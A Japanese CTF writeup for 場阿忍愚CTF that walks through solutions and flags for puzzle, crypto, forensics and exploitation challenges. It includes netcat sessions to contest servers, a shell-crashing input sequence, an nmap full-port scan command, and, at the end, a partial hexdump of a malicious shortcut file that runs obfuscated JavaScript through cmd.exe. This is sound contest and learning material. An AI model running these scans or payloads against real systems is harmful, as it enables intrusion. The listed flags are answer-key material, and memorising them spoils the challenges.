News

場阿忍愚CTF Writeup (1 comment)

Added by kanata almost 5 years ago

CTF Writeup 場阿忍愚CTF

結果&感想

5381pt 14位 仙人 でございました。

すごく楽しかったです!!

profile.png

ranking.png

graph.png

101 練習 image level 1

フラグを探して奉り候

101-level001a.png

101-level001b.png

101-level001c.png

101-level001d.png

CTF始めての方は一回四つの画像ファイルをダウンロードして、何かフラグっぽい文字列が分かれば提出してみて下さい。


特に説明不要かと。画像を縦に並べれば、答えがわかる。

111 芸術 ワットイズディス?

111-Art-10.png

フラグはニッポンゴでよろしゅう願い奉る。

ヒント1:セキュリティが大好きな大和魂なら分かります!
サンタからのヒント:大和セキュリティ勉強会のステッカーでござる。


篆書体という印鑑に使われるフォントで書かれている。
当然、ほとんど読めない。ただ、小さい"由"が見えたり、二文字目が"和"という事が解ったので、これはもぅ"大和セキュリティ"だろうという。。
自分的にはエスパー問題。

112 芸術 cole nanee?

112-Art-100.png

フラグは漢字一文字で願い申し上げ候。


これもエスパー問題でゴワス。。
「忍」

113 芸術 Lines and Boxes

113-Art-300new3.jpg

think outside the 口

(フラグの形式を当てるのも問題の一部です)
サンタ殿からのヒント:日本人には読みづらい漢字でござる。


漢字に見せかけた英字

WORDPLAY

114 芸術 Why Why want something more?

114-Art-150.png

You are already there!

フラグは漢字二文字でござる。


難関でございました。
まずgoogle画像検索をする。
すると、sato shozo先生の作で、恐らくAsian Art Museumの所蔵だと思われる。
そういう訳で所蔵品リストを片っ端から調べるも出てこない。。

そこで!画像検索はgoogleだけじゃない!と思い、調べたら出てきた。
http://isearch.babylon.com/?s=images&babsrc=home&sd=1&q=sato+shozo&start=60

これだ・・・
http://image.issuu.com/150818192831-7f8b1d91eb4fea406f13202a76a994bc/jpg/page_56.jpg

「如是」

115 芸術 毎日使う

115-Art-200.JPG

GOKUUUUUU

フラグは漢字一文字でござる。


個人的には、これもエスパー問題。
寝っ転がってたら突然解答が降りてきた。

「氣」

そうか、ドラゴンボールか。

117 芸術 Extreme Shodo POWER!!

117-Art500ESP1.jpg

What do you need to get bigger?


ギブアップ。3文字は解った。

  • 1文字目 「氣」 文字を切り出して画像検索の果てにこれに行き着く。「陽光空氣Yes」っていう水の製品の"氣"の字が同じフォント。
  • 2文字目 わからん「ぐ」?wwww
  • 3文字目 「呼」 篆書体
  • 4文字目 「汲」 篆書体
  • 5文字目 わからん「永」かな?

篆書体は、もぅ図書館まで行って調べたわ。

117_1.jpg

篆書体は、あたりがついていれば以下で調べられる。
http://font.designers-garage.jp/ds/execute/FontSearch?searchType=1&saleType=0&category=09

121 二進術 壱萬回

121-calculation


実行すると計算式が表示されて、計算結果の入力を促される。それが一万回繰り返される。

みんな大好き計算問題は、ネットワーク越しに行うシェルスクリプトを持ってたので、それを流用しようと、ncコマンドとか使ってネットワーク越しに動かそうとしたけど、うまく動かなかった。
結局expectつかってスクリプト書いた。

#!/bin/expect -f

spawn ./121-calculation


set i 0
while {$i <= 100000} {

puts "\n#### $i ######"

expect "*="
set quest $expect_out(buffer)

set answer [exec echo $quest | tail -1 | tr -d '=' | tr -d '\r' | bc]
send "$answer\n"

incr i 1
}

122 二進術 DxLib遊戯如何様

122-files.zip


オセロのゲームを勝ち続ければよい。CPUの対戦相手はそんなに強くない。
うさみみハリケーン先生の出番です。

うさみみハリケーンを使って、何回か勝負して勝ちながら、、勝利数をカウントしているメモリ領域のアドレスを割り出せる。
そこを書き換えて、勝利するとフラグが得られる。

122.png

123 二進術 Unity遊戯如何様

123-files.zip

手がかり:
* Assembly-CSharp.dllを探しましょう
* .Net逆コンパイラを使いましょう
* GUI Manager以下のコードを読みましょう


ギブアップ。そもそもUnityのゲームを環境も含めてどうすれば起動できるかわからない。
それでも、.Net逆コンパイラのIlspyで、Assembly-CSharp.dllでGUI Manager以下のコードを読むと、
FLAG{its_3D_Game_Tutorial}が得られるんだけど、これが正解じゃないらしい。どこに隠されているか、わからなかった。

131 解読術 image level 5

フラッグを探してください
131-mondai.zip


複数の画像ファイルが入っているzip。zipを展開したのが以下。

131_8f14e45fceea167a5a36dedd4bea2543.png131_45c48cce2e2d7fbdea1afc51c7c6ad26.png131_a87ff679a2f3e71d9181a67b7542122c.png131_1679091c5a880faf6fb5e6087eb1b2dc.png131_c9f0f895fb98ab9159f51fd0297e236d.png131_c4ca4238a0b923820dcc509a6f75849b.png131_e4da3b7fbbce2345d7772b0674a318d5.png131_c81e728d9d4c2f636f067f89cc14862c.png131_eccbc87e4b5ce2fe28308fd9f2a7baf3.png

時刻順に並べ替えて読むと、以下になる。

KOUBE-GYU

と、自分のメモには書いてあるんだけど、他の人のwriteupを見たら???ってなった。もしかしたらメモが間違っているかも?
このファイル名でググると、元は数値で、それをハッシュ化したものだとわかる。数字順に並び替えれば良い。

132 解読術 Ninjya Crypto

132-Ango100-Ninja-Crypto-small.jpg

敵か仲間か? 証明して!

サンタ殿からのヒント:忍者なら分かる暗号でござる。


以下で解読できる。
神代文字とか忍者文字とか言うらしい。google画像検索してるとわかる。

http://blogimg.goo.ne.jp/user_image/72/c6/4ecb6c42ec2de816667cffc6484c9f9e.jpg
http://blogimg.goo.ne.jp/user_image/6c/b1/94e7156f6e5b76e46c3394b6fd4e267f.jpg

解読結果は、「ヤマトイエハ」という事でFLAGは「川」

133 解読術 Decrypt RSA

133-Decrypt_RSA.zip


まず、鍵を調べてみましょ。

$ openssl rsa -text -pubin < public-key.pem
Public-Key: (640 bit)
Modulus:
    00:ae:5b:b4:f2:66:00:32:59:cf:9a:6f:52:1c:3c:
    03:41:01:76:cf:16:df:53:95:34:76:ea:e3:b2:1e:
    de:6c:3c:7b:03:bd:ca:20:b3:1c:00:67:ff:a7:97:
    e4:e9:10:59:78:73:ee:f1:13:a6:0f:ec:cd:95:de:
    b5:b2:bf:10:06:6b:e2:22:4a:ce:29:d5:32:dc:0b:
    5a:74:d2:d0:06:f1
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MGwwDQYJKoZIhvcNAQEBBQADWwAwWAJRAK5btPJmADJZz5pvUhw8A0EBds8W31OV
NHbq47Ie3mw8ewO9yiCzHABn/6eX5OkQWXhz7vETpg/szZXetbK/EAZr4iJKzinV
MtwLWnTS0AbxAgMBAAE=
-----END PUBLIC KEY-----

Modulusと書いてあるところが、素因数の積の所ね。これを素因分解できれば勝ち。
鍵長640bitですなぁ。個人のPCでは素因数分解するには計算量的に難しそうという印象。
16進数でかつ、コロンで区切ってあるけど、これを10進数に変換するところから始まります。

シェル芸してみますか。

$ openssl rsa -text -pubin < public-key.pem|grep ":"|grep "^ "|tr -d "\n :"|tr [a-z] [A-Z]
writing RSA key
00AE5BB4F266003259CF9A6F521C3C03410176CF16DF53953476EAE3B21EDE6C3C7B03BDCA20B31C0067FFA797E4E910597873EEF113A60FECCD95DEB5B2BF10066BE2224ACE29D532DC0B5A74D2D006F1
$ echo "obase=10; ibase=16; 00AE5BB4F266003259CF9A6F521C3C03410176CF16DF53953476EAE3B21EDE6C3C7B03BDCA20B31C0067FFA797E4E910597873EEF113A60FECCD95DEB5B2BF10066BE2224ACE29D532DC0B5A74D2D006F1" | bc|tr -d "\n\\"
3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609

ということで、10進数で、3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609 を素因数分解できればいいんです。

640bitの鍵長は・・・短時間で素因数分解できるんだろうかと疑いながらも msieve というツールを使って素因数分解を試みた。
数時間後・・・「いや、これ無理だろwww」と思って、別のアプローチを取ることにした。

そもそも、長い鍵長のRSA暗号は、それを解くコンテストが随時開催中であり、640bit鍵長は既に2005年に解かれている。
(ちなみに賞金2万ドル!!すげえ)
それから10年経過しているにしても、個人PCのCPUパワーで2005年に実施した計算量を出せるのかぁ、と甚だ疑問に思ってはいた。
そんなCPU処理能力依存の問題を出題するわけもなし。

と思って、公開鍵からデコードした十進数の素因数の積をググったら出てきた。

http://mathworld.wolfram.com/news/2005-11-08/rsa-640/

コンテストの時のままの数値でしたわけですね。

ちなみにちなみに、コンテストは引き続いて開催中で、2048bit鍵長のものまでが出題されている。これの賞金は20万ドル・・・!

134 解読術 Zach! Take a nap!

う た た 寝
134-zach_handout.zip

サンタさんからのヒント:「ザック、疲れとるやないか? Why don't you take a NAP, ZACH!?」


ギブアップ。エロい人解説求む。

141 攻撃術 craSH

有限会社忍者探偵処では、日々プロの忍者たちが依頼人からの任務を休むことなくこなしていた。
もちろん、忍者たちは諜報活動なども行う情報収集の達人であるため、CVE-2014-6271に関する情報も公開されたその日の内に把握していたのである。
幸いにも忍者探偵処では、事務処理やホームページに用いているワークステーションには、bashではなく独自のシェルプログラムを用いていたため、件のCVEによる情報漏えい等は起こらなかった。
しかし、進んだ危機管理対策の考えを持っている忍者探偵処の社長、初鳥犯象は、もしも自社のシェルプログラムに脆弱性が見つかったならば、それは大変なことになるのではないかと考えた。
忍者探偵処の新米忍者であるあなたは社長に指名され、本当に脆弱性は存在しているのかどうか調べなければならないことになった。
もちろん、あなたは新米なので、実際に脆弱性を利用してサーバーの内部に侵入したりする必要はない。
ただシェルプログラムがクラッシュするような、バグが存在しているということだけを証明するだけでよい。
nc 210.146.64.35 31337
141-craSH_handout.zip

サンタ殿からのヒント:実装されている機能はls, cat, echo, exit, 入出力redirect。確保したメモリのサイズとそのメモリに書き込むサイズの不一致がどこかで起こらないか注意深く観察する。Fuzzingも可能でござる。


とりあえず、メモリ破壊できればよさそうだろうということで、いろいろ入力してみるも大丈夫そう。
う~ん、と思ってソースコードを眺める。

struct file {
    size_t len;
    char *data;
};

struct node {
    char *key;
    struct file *val;
    struct node *next;
};
  • プログラムの中でリダイレクトした時に、ファイルに出力出来る仕様。
  • ソースコードのこの構造体の部分から、ファイルはリンクリストになっているのが推測できる。

つまり、Aファイルを作る→Bファイルを作るというオペレーションをすると、

  • Aファイルのメモリ領域確保(ファイル作成)
  • Bファイルのメモリ領域確保(ファイル作成)
  • Aファイルの*nextは、bの構造体を指すようにセット

ざっくり言うとこんな感じでと動いているハズ。lsコマンドとかでファイルを表示するときは、このリンクリストを先頭から辿るという動作をしている。
なんだけど、重要なポイントがあって、

  • ファイルの追加には対応しているけど、変更や削除に対応する処理が見当たらない

という事でございます。なんで、けっこう当てずっぽうなんだけれど、こんなオペレーションで落ちる。

$ ./netcat 210.146.64.35 31337
$ echo A > A
$ echo B > B
$ cat A B > C
$ ls
C B A
$ cat A B C > A
$ ls
C B A
$ cat A B C > C
$ cat A B C > A
$ ls
C B A
$ cat A B C > C
$ ls
C B A
$ cat A B C > A
That's enough!
flag={NoMoreBashdoor}

142 攻撃術 Ninja no Aikotoba

鎌倉時代から江戸時代の日本においてスパイの様な位置づけにあった忍者が、味方を見分けるために「『山』に対して『川』と答える」といった合言葉を用いたという逸話は有名である。
日々、情報収集や諜報活動を行っていた忍者と、現代のハッカー・クラッカーには情報戦という点で相通ずる面があるように感じられる。
そこで、この問題では皆さんには忍者となって敵方忍者の合言葉を割り出し、敵の機密情報を盗み出すミッションに取り組んでもらいたい。
nc 210.146.64.35 31338
142-aikotoba_handout.zip

サンタさんからのヒント:

encryptが読めない人: 色々方法はあるので頑張る。読めたほうが良いですが、そもそも読む必要はあまりないと言えます。

最後で詰まってる人: 作問者はエスパー問題が嫌いなためエスパー要素は皆無。論理的思考で解けます。 よく分からないまま解けたという人もいるかと思いますが、それも想定した上での300点です。適当に試して見るのも手だと思います。
論理的に解きたい人はよく読もう: http://linux.die.net/man/3/
後は、与えられたファイルを見なおしてみて、まだ使ってないファイルはありませんか。


ギブアップ。最後が解けなかった。

1問目

Kawa? :

と聞かれるので

Yama

と応える。勘で答えられるけど、"Yama" のバイナリ値を 0x001a0012 で XOR している。
なので、"Kawa" を 0x001a0012 で XOR すれば自ずと答えがわかる。

2問目

So then next? :

と聞かれる。答えはソースにある。

ans[0] = 0164;
ans[1] = 111;
ans[2] = 0x6f;

ま、これ printf してもいいし、16進数に変換し、ASCIIコード表と照らしあわせてもいいし。
答えは

too

3問目

-9 0 0 18 -10 8 159 194 220 212 204 202? :

と聞かれる。ちょっと難しい。0文字目と6文字目が対応した暗号っぽい。
と言う事は、だ。0文字目と6文字目が、-9と159になるようなアルファベットの組み合わせを求めればいい。
52 × 52 = 2704 なので、ブルートフォースで答えが出せるね。

その時使った、コードをいちおう貼り付けておく。糞コードでお恥ずかしい限りだが。

/*
    gcc aikotoba.c -m32 -lcrypto -o aikotoba
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <openssl/md4.h>

encrypt(char *a, int *b){
    int c,d,e;
    for(c=0;c<6;c++){
        b[c]=0,e=c[a];
        while(d=e&-e){
            c[b]+=d;e-=d;
        }
    }
    for(d=0;d<6;d++){
        e=d[a+6];
        while(c=e&-e){
            b[d+6]=((d[a]&a[d+6])<<1L)+(a[d]^d[a+6]);
            d[b]-=c;e-=c;
        };
    }
}

void kill_enemy(void) {
    puts("You aren't my ally!!!");
    puts("[*] YOU DIED ");
    exit(0);
}

int is_matched(char *a, char *b, size_t n) {
    int result;
    char save = b[n];

    b[n] = '\0';
    result = strcmp(a, b);
    b[n] = save;
    if (result == -1 || result == 1) return 0;
    return 1;
}

void truncate_newline(char *s) {
    char *np = strchr(s, '\n');

    if (np == NULL) return;

    *np = '\0';
    return;
}

void judge(char **buf, char **ans, size_t len) {
    fgets(*buf, len+2, stdin);
    truncate_newline(*buf);
    if (!is_matched(*buf, *ans, len)) kill_enemy();

    *buf += len;
    *ans += len;
}

void show_flag(void) {
    FILE *fp;
    char flag[256];

    fp = fopen("flag.txt", "rb");
    if (fp == NULL) {
        fprintf(stderr, "[*] Something went wrong. Call admin.\n");
        exit(-1);
    }

    fread(flag, sizeof(flag), sizeof(char), fp);
    fclose(fp);

    printf("Flag: %s\n", flag);
    exit(0);
}

int main(void) {
    FILE *fp;
    size_t i;
    size_t len;
    char input[256];
    char password[256];
    char shout[5];
    char *resp;
    char *ans;
    int result[12];
    unsigned char hash[MD4_LBLOCK];

    setbuf(stdout, NULL);

    fp = fopen("password.txt", "rb");
    if (fp == NULL) {
        fprintf(stderr, "[*] Something went wrong. Call admin.\n");
        exit(-1);
    }

    fseek(fp, 0, SEEK_END);
    len = (size_t)ftell(fp);
    rewind(fp);
    assert(len < sizeof(password)-1);
    fread(password, len, sizeof(char), fp);
    password[len] = '\0';
    fclose(fp);

    // I'm kindness itself
    for (i=0; i<len; i++) {
        assert(islower(password[i]) || isupper(password[i]));
    }

    puts("Hi.");
    puts("Let me check if you are my ally.\n");

    *(int*)shout = *(int*)password ^ 0x001a0012;
    shout[4] = '\0';
    printf("%s? : ", shout);

    resp = input;
    ans = password;
    judge(&resp, &ans, 4);
    puts("Good.\n");

    ans[0] = 0164;
    ans[1] = 111;
    ans[2] = 0x6f;
    printf("So then next? : ");
    judge(&resp, &ans, 3);
    puts("Good.\n");

    // ----------------------------------
    int j,k;
    for(k=0;k<1;k++){
      ans[0]= 'K';
      ans[1]= 'a';
      ans[2]= 'n';
      ans[3]= 's';
      ans[4]= 'a';
      ans[5]= 'i';
      ans[6]= 'T';
      ans[7]= 'a';
      ans[8]= 'n';
      ans[9]= 'a';
      ans[10]= 'k';
      ans[11]= 'a';
      ans[12]= ' ';
      encrypt(ans, result);

      //printf("%d(%x %c)", result[0],ans[0],ans[0]);
      printf("[%d]%d(%c) ",k, result[0],ans[0]);
      for (i=1; i<12; i++) {
        printf(" %d(%c)", result[i],ans[i]);
      }
      printf("\n----------------------\n");
    }
    // ----------------------------------
    for(k=41;k<122;k++){
      for(j=41;j<122;j++){
        ans[0]=k;
        ans[6]=j;
        encrypt(ans, result);
        printf("%d %d %c %c\n",result[0],result[6],ans[0],ans[6]);
      }
    }
    // ----------------------------------


    encrypt(ans, result);
    printf("%d", result[0]);
    for (i=1; i<12; i++) {
        printf(" %d", result[i]);
    }
    printf("? : ");
    judge(&resp, &ans, 12);
    puts("Good.\n");

    MD4(ans, 4, hash);
    for (i=0; i<MD4_LBLOCK; i++) {
        printf("%02x", hash[i]);
    }
    printf("? : ");
    judge(&resp, &ans, 4);
    puts("Good.\n");

    printf("And the rest? : ");
    fgets(resp, input+sizeof(input) - resp, stdin);
    truncate_newline(resp);
    if (strlen(resp) < 10) kill_enemy(); // no, no. that's too short.
    if (!is_matched(input, password, len)) kill_enemy();

    puts("Well Done!\n");
    show_flag();
}

答えは以下でございました。

KanasiTanaka

4問目

aa1bf8cae599b19366a8bd4b87ddd327? :

と、聞かれる。ソースコードから、MD4のハッシュだと解る。
ここらへんで、元の値を調べられる。

http://md5decrypt.net/Md4/

「Zach」でした。

5問目

これがわからん・・。

And the rest? :

ノーヒントのように見える。たぶん、strcmp関数の仕様がちょっと変わっているので、

int is_matched(char *a, char *b, size_t n) {
    int result;
    char save = b[n];

    b[n] = '\0';
    result = strcmp(a, b);
    b[n] = save;
    if (result == -1 || result == 1) return 0;
    return 1;
}

一致したら、0を返すというのが、通常の仕様な気がするんだけど、-1または1で判定している。
おや、と思い、渡された libc.so.6 をobjdmpしてみたんだけど、strcmpの怪しい箇所を見つけられなかった。

143 攻撃術 craSH 2

有限会社忍者探偵処では、日々プロの忍者たちが依頼人からの任務を休むことなくこなしていた。
社長から任命された、バグが存在していることを証明する仕事を見事にこなしたあなたは、下忍から中忍に昇格し、実際に脆弱性を利用してサーバーの内部に侵入したりするプロの忍者としての活動が認められたのである。
さあ、上忍昇格へのチャンスを逃してはならない。
今度は、先のシェルプログラムに実際に侵入することで、社長の評価をより高いものにするのだ。
141-craSH_handout.zip


ギブアップ。教えてエロい人。

151 解析術 Doubtful Files

時は文禄元年、伊士川御得門が伊賀で忍者修行を始めたばかりの頃。忍者にとって特に重要とされる情報収集能力を磨いていた。ある時、いつものようにインターネットから情報収集していると、何か不自然な点があることに気付いた。御得門が集めたファイルに何があったのだろうか?
151-DoubtfulFiles.exe

サンタ殿からのヒント:Windowsでインターネットからダウンロードしたファイルの特徴は?


NTFSの代替データストリーム情報に隠されている。

DOSプロンプトから、以下実行すると、 7.inf と 8.vbs に値が隠されていることがわかる。

> more < 7.inf:Zone.Identifier:$DATA
[ZoneTransfer]
ZoneId=0

ZmxhZz17QWx0ZXJuYXRlIERhdG

kanata@FISH C:\Users\kanata\Desktop\場阿忍愚CTF\151\Downloads
> more < 8.vbs:Zone.Identifier:$DATA
[ZoneTransfer]
ZoneId=4

EgU3RyZWFtIG9uIE5URlMhfQ==

お馴染みの Base64形式ですね。今度はLinuxで

$ echo ZmxhZz17QWx0ZXJuYXRlIERhdGEgU3RyZWFtIG9uIE5URlMhfQ== |base64 -d
flag={Alternate Data Stream on NTFS!}

152 解析術 情報漏洩

情報収集能力を極めた伊士川御得門は、とある大名から情報管理の仕事を請け負うようになった。大名屋敷の中にある情報管理所において、機密情報の運用を行う重要任務である。もちろん、情報管理所は厳重に管理されており、例えば、入退室時には護衛による審査があるほか、作業端末には情報持ち出し防止の策が施されている。しかし、このような状況のなか、御得門はまんまと大名の機密名簿を持ち出すことに成功したのである。果たしてどのようにやったのだろうか?
152-Leaked-Information.pcap


WireSharkで見ると、パケットのNo.26-28にpng画像が目grepで判別できる。後は、この3パケットから、ヘッダ部分(0x00-0x26)を覗いてデータを抽出して、くっつければOK!

152.png

153 解析術 Speech by google translate

153-flag.wav


アルファベットとか数字を喋っている内容。なんか、いい感じの所で切れている。
wavファイルの再生時間に関係する所をバイナリファイルで修正すればよさそう。

ここらへんを参考に修正する。

左(org.txt)がオリジナル、右(edit.txt)が修正したもの

$ xxd 153-flag.wav > org.txt
$ xxd "153-flag - コピー.wav" > edit.txt
$ sdiff -s org.txt edit.txt
0000020: 0400 1000 6461 7461 74a0 1500 0100 fdff  ....datat.. | 0000020: 0400 1000 6461 7461 0007 3500 0100 fdff  ....data..5

それで、聞き取った結果

X5kpBQJUufHdkch923SJ

154 解析術 Cool Gadget

大名からの情報搾取に成功した伊士川御得門は、いよいよ盗賊となることを決意した。しかし、よくよく考えると、せっかく苦労して搾取した秘宝を別の盗賊に横取りされるとたまったものではない。毎晩不安で眠れない御得門に対して、秘宝を万全に守るための何か良い道具を提案することは可能だろうか?

サンタ殿からのヒント:怪しい文字を探す。そもそも、これは何の画像?


まず、画像を表示すると、こんなの。

154-Cool-Gadget.jpg

壊れてるくさい。バイナリエディタで見てみよう。高い目Grep力が必要w

154_stirling.jpg

removemeとなっておりますなー。これを削除してファイルを表示すると、画像が綺麗に表示されます。

154-Cool-Gadget_edit.jpg

EAHIVが読み取れますね。

それで、抜き出した値は、これですが

removeme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}

Base64っぽいので、複合する。

$ echo U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0|base64 -d >base64.bin
$ xxd base64.bin
0000000: 5361 6c74 6564 5f5f 4312 52d9 e62a 2c68  Salted__C.R..*,h
0000010: 1522 f4ce 7352 4108 7924 4993 391b 7fc5  ."..sRA.y$I.9...
0000020: df18 8b9f d8ab c53b 0ef5 389d 1699 e274  .......;..8....t

なんか頭に Salted__C とかありますね。これでググっていくと、どうやらAES暗号だという事がわかります。

きっとキーは・・・ EAHIV ですねw
複合します。

$ openssl enc -d -aes-128-cbc  < base64.bin >bin
enter aes-128-cbc decryption password:
$ cat bin
flag={Cryptex is cool!}

155 解析術 Encrypted Message

盗賊業が板につきだんだん大胆になってきた伊士川御得門は、白昼堂々と大名屋敷に立ち入った。奥の作業所では、午前中の作業を終えた計算機係たちが昼休憩に出ており、計算機は開いたまま無人の状態であった。このチャンスを見逃す御得門であるはずもなく、手際よくデータを抜き取り持ち帰った。どんな機密情報が含まれていたのか?
155-memdump.zip
155-secret

大寒波でも熱くなるヒント:secret : 暗号化されたボリューム, memdump.mem : OS起動中の全メモリダンプ。最終的にはとある有名なツールのソースコードを入手する必要があります(想定解)。


ギブアップ。たぶん、メモリのダンプファイルの中から、プロセスが抱える鍵の情報を抜き出し、それで 155-secret を対象に複合化するんだろうなという当たりはつけたものの、解けなかった。

161 電網術 ftp is not secure.

161-problem.pcap


WireSharkでみると、FLAG.tarをアップロードしていることが解る。FLAG.tarを抽出して、tarを展開すればokと思いきや、中身のファイル内容はBase64形式なんで、複合する必要がある。

$ echo RkxBR3tYVEluWDY5bnF2RmFvRXd3TmJ9Cg==|base64 -d
FLAG{XTInX69nqvFaoEwwNb}

162 電網術 ベーシック

162-basic.pcap

サンタ殿からのヒント:URLだと思い込んでいませんか?


Basic認証で、いろいろやってるけど、Base64の値が紛れ込んでいることに注意すれば解ける。

つまるところ、以下である。

flag={BasicIsNotSecure}

163 電網術 六十秒

大石内蔵助良雄は赤穂浪士四十七士に集結時刻を伝える手段を悩んでいた。
集結時刻をそのまま伝文に載せてしまえば、吉良義央にばれてしまう。
そこで昼九ツ半の刻を用いた暗号化手法を用いることで攪乱を試みた。
指定された時刻に間に合うように集結するために、集結時刻を解読して欲しい。
163-60sec.pcap

サンタ殿からのヒント:素数グッズは生協以外でも販売されていますが、そのIDは削るために使われます。


サンタさんのヒントが無かったら解けなかった。

まず、問題文中の「昼九ツ半の刻」であるが、13時の事である。
13時・・・13字・・・ROT13か。という訳で、それっぽい所をROT13にかけると以下が得られる。

  • amazon.co.jp
  • kyotou.ac.jp
  • rulers

と、pingに仕込まれたこれ

B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9

Base64っぽいんだけど、複合できなくて詰んでた。

それで、ヒントが出たもんだから、「京都大学 生協グッズ」とかで調べると「素数ものさし」というものを見つける。
なるほど、kyotou.ac.jp と rulers(ものさし) は、このことか。
それで、amazonで「素数ものさし」を検索

163.png

ああ、URLになんか見覚えのある文字が、ヒントの「削るため」なるほどね。

B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
から、
B00OWA6QNO
を削除すればいいんだね。

$ echo ZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9 |base64 -d
flag={12Gatsu14NichiAkatsuki7Tsu}

164 電網術 Japanese kids are knowing

210.146.64.34

(ポートスキャンは苦しゅうない)


という訳で、ポートスキャンしてみたものの、全ての通信がシャットアウトされていた。pingも通らない。
おやこれは難しいなと思ってたんだけど、どうやら、自分のPCから目的のサーバまでの通信経路で不正アクセスとみなされて、通信をブロックされてしまったらしい。

そんなわけで、このサーバ(自分のPCとはプロバイダが違う)から、ゆっくりポートスキャンした。

※以下は、実行しないでね。間違うと不正アクセスとみなされます。
こういう注意も出てました。

場阿忍愚CTFでは問題を解くにあたりアンチウィルスソフトやファイアウォール、IDS/IPSなどのセキュリティシステムでで異常を検知することがあります。
大学や企業のネットワークを経由して場阿忍愚CTFへ参加される場合、通信が異常と検出されることも考えられます。
各ネットワークのセキュリティポリシー等を十分確認いただき、必要であればネットワーク管理者やセキュリティ管理者とご相談の上ご参加ください。

$ ./nmap -v -sU -sS -T2 -p1-65535 allports aaa.bbb.ccc.ddd
※ aaa.bbb.ccc.dddは、IPアドレス

結果は

PORT     STATE SERVICE
5006/tcp open  unknown

でした。netcatで繋いでみる。

$ ./netcat 210.146.64.34 5006
<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.

こんなんでましたけど。動物の名前をmd5したのが答えという訳ですね。
前半の「C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C-」は音ですね。Cがドで、Dがレという具合に。
CTFでは、手を変え品を変え暗号が出てきますが、AからGの文字だけで表現されているものは、音を表していると思ってよいでしょう。

かえるの歌でした。

無駄に flog とかでmd5してたのでハマってたんだけど、結局以下でした。

$ echo -n kaeru|md5sum
b0232fe6fa3a8da06ef547191e3e8e40  -

165 電網術 Malicious Code

時代の最先端を行く伊士川御得門は、技術研鑚を怠ることなくさまざまな攻撃手法を編み出していく。これらのうちの一部はのちに発展し、APT、標的型攻撃、水飲み場型攻撃、、などと後世に語り伝えられていくことになる。さて、現時点ではまだそのような洗練された手法を確立しているはずもなく、ある考えを試してみようと御得門はとあるサーバを立ち上げた。以前から目をつけていた大名に対して攻撃をしかけたところ、端末を乗っ取ることに成功したのである。
165-cap2.pcapng


けっこう難しかった。もっとスマートに解く方法もあるような気はする。順を追って説明します。

手順1 ファイル抽出

まず、NetwokrMinerを使ってファイルを取り出す。別にWireSharkでも出来ると思う。

その index.html をを開くと、 p.download.exe というファイルがダウンロードされる。

PE形式っぽいですが、中はスクリプトが仕込まれているのが判ります。

$ xxd p.download.exe
0000000: 4c00 0000 0114 0200 0000 0000 c000 0000  L...............
0000010: 0000 0046 a100 0000 0000 0000 0000 0000  ...F............
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0700 0000  ................
0000040: 0000 0000 0000 0000 0000 0000 3501 1400  ............5...
0000050: 1f50 e04f d020 ea3a 6910 a2d8 0800 2b30  .P.O. .:i.....+0
0000060: 309d 1900 2f43 3a5c 0000 0000 0000 0000  0.../C:\........
0000070: 0000 0000 0000 0000 0000 0056 0031 0000  ...........V.1..
0000080: 0000 0000 0000 0010 0057 494e 444f 5753  .........WINDOWS
0000090: 0040 0009 0004 00ef be00 0000 0000 0000  .@..............
00000a0: 002e 0000 0000 0000 0000 0000 0000 0000  ................
00000b0: 0000 0000 0000 0000 0000 0000 0000 0057  ...............W
00000c0: 0049 004e 0044 004f 0057 0053 0000 0016  .I.N.D.O.W.S....
00000d0: 005a 0031 0000 0000 0000 0000 0010 0073  .Z.1...........s
00000e0: 7973 7465 6d33 3200 0042 0009 0004 00ef  ystem32..B......
00000f0: be00 0000 0000 0000 002e 0000 0000 0000  ................
0000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000110: 0000 0000 0000 0073 0079 0073 0074 0065  .......s.y.s.t.e
0000120: 006d 0033 0032 0000 0018 0056 0032 0000  .m.3.2.....V.2..
0000130: 0000 0000 0000 0000 0063 6d64 2e65 7865  .........cmd.exe
0000140: 0040 0009 0004 00ef be00 0000 0000 0000  .@..............
0000150: 002e 0000 0000 0000 0000 0000 0000 0000  ................
0000160: 0000 0000 0000 0000 0000 0000 0000 0063  ...............c
0000170: 006d 0064 002e 0065 0078 0065 0000 0016  .m.d...e.x.e....
0000180: 0000 00f7 032f 0063 0020 0065 0063 0068  ...../.c. .e.c.h
0000190: 006f 0020 0065 0076 0061 006c 0028 0066  .o. .e.v.a.l.(.f
00001a0: 0075 006e 0063 0074 0069 006f 006e 0028  .u.n.c.t.i.o.n.(
00001b0: 0070 002c 0061 002c 0063 002c 006b 002c  .p.,.a.,.c.,.k.,
00001c0: 0065 002c 0064 0029 007b 0065 003d 0066  .e.,.d.).{.e.=.f
00001d0: 0075 006e 0063 0074 0069 006f 006e 0028  .u.n.c.t.i.o.n.(
00001e0: 0063 0029 007b 0072 0065 0074 0075 0072  .c.).{.r.e.t.u.r
00001f0: 006e 0028 0063 005e 003c 0061 003f 0027  .n.(.c.^.<.a.?.'
0000200: 0027 003a 0065 0028 0070 0061 0072 0073  .'.:.e.(.p.a.r.s
0000210: 0065 0049 006e 0074 0028 0063 002f 0061  .e.I.n.t.(.c./.a
0000220: 0029 0029 0029 002b 0028 0028 0063 003d  .).).).+.(.(.c.=
0000230: 0063 0025 0061 0029 005e 003e 0033 0035  .c.%.a.).^.>.3.5
